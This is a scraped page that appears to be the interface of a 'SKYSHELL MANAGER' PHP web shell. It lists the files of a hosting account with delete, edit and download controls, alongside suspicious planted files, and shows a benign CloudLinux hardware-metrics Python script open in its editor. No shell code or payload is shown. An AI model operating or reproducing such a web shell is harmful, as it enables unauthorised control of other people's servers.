📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: hardware_statistics.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import os from typing import Optional, Dict, AnyStr, Union, List class NotSupported(Exception): """ Custom error to handle compatibility issues """ pass def get_proc_info_as_list_of_dicts( file_content: AnyStr ) -> List[Optional[Dict[AnyStr, AnyStr]]]: """ Parses the response of /proc files Since this file has a possibility to include multiple objects info, we need to parse all of them in the separate dicts :file_content: /proc file content. Example: processor : 0 vendor_id : AuthenticAMD processor : 1 vendor_id : AuthenticAMD_1 return: list of dicts with each node """ result = [] for info_object in file_content.split("\n\n"): temp_dict = {} if not info_object: continue for info_attr in info_object.split("\n"): values = info_attr.split(":") if len(values) == 2: temp_dict[values[0].strip()] = values[1].strip() result.append(temp_dict) return result def convert_string_kb_to_mb_value(value: str) -> float: """ Helper to get numeric value of string record and convert it to mb :value: metric value from /proc file. Example: '512 KB' return: converted value. Example: 0.5 """ return float(value.split()[0]) / 1024 def get_cpu_metrics() -> List[Optional[Dict[AnyStr, Union[AnyStr, float, int]]]]: """ Prepare list of dicts with required cpu metrics The base of this method was taken from rhn_client_tools (src/up2date_client/hardware.py) Each CPU will be represented with a dict { "model": "foo", "cache_mb": 100, "frequency_mhz": 100, "id": 0 } return: list of dicts with cpu metrics """ result_list = [] uname = os.uname().machine # We can't read the /proc/cpuinfo file or arch isn't compatible if not os.access("/proc/cpuinfo", os.R_OK): raise OSError("File for cpuinfo is restricted!") if uname not in ["x86_64", "i386"]: raise NotSupported(f"Machine arch {uname} isn't compatible!") with open("/proc/cpuinfo", "r", encoding="utf-8") as f: proc_cpuinfo = f.read() cpu_list = get_proc_info_as_list_of_dicts(proc_cpuinfo) for cpu in cpu_list: cpu_dict = { "id": int(cpu.get('processor', "0")), # Idea of set a default value from machine arch # was taken from rhn-client-tools hw getter "model": cpu.get('model name', uname), "cache_mb": convert_string_kb_to_mb_value(cpu.get('cache size', "0 KB")), "frequency_mhz": float(cpu.get('cpu MHz', "0")) } result_list.append(cpu_dict) return result_list def get_memory_metrics() -> Dict[AnyStr, float]: """ Prepare dict of memory metrics Dict will be represented as: { "ram_mb": 8.5 "swap_mb": 2.04 } """ if not os.access("/proc/meminfo", os.R_OK): raise OSError("File for meminfo is restricted!") with open("/proc/meminfo", "r", encoding="utf-8") as f: proc_meminfo = f.read() # meminfo return only one info object mem_dict = get_proc_info_as_list_of_dicts(proc_meminfo)[0] # All mem_dict values are represented as string. Example: # 1000 KB # We need to split them, convert to int and divide on 1024 # Thus, we will get MB representation of metric result = { "ram_mb": convert_string_kb_to_mb_value(mem_dict.get("MemTotal", "0 KB")), "swap_mb": convert_string_kb_to_mb_value(mem_dict.get("SwapTotal", "0 KB")), } return result
Save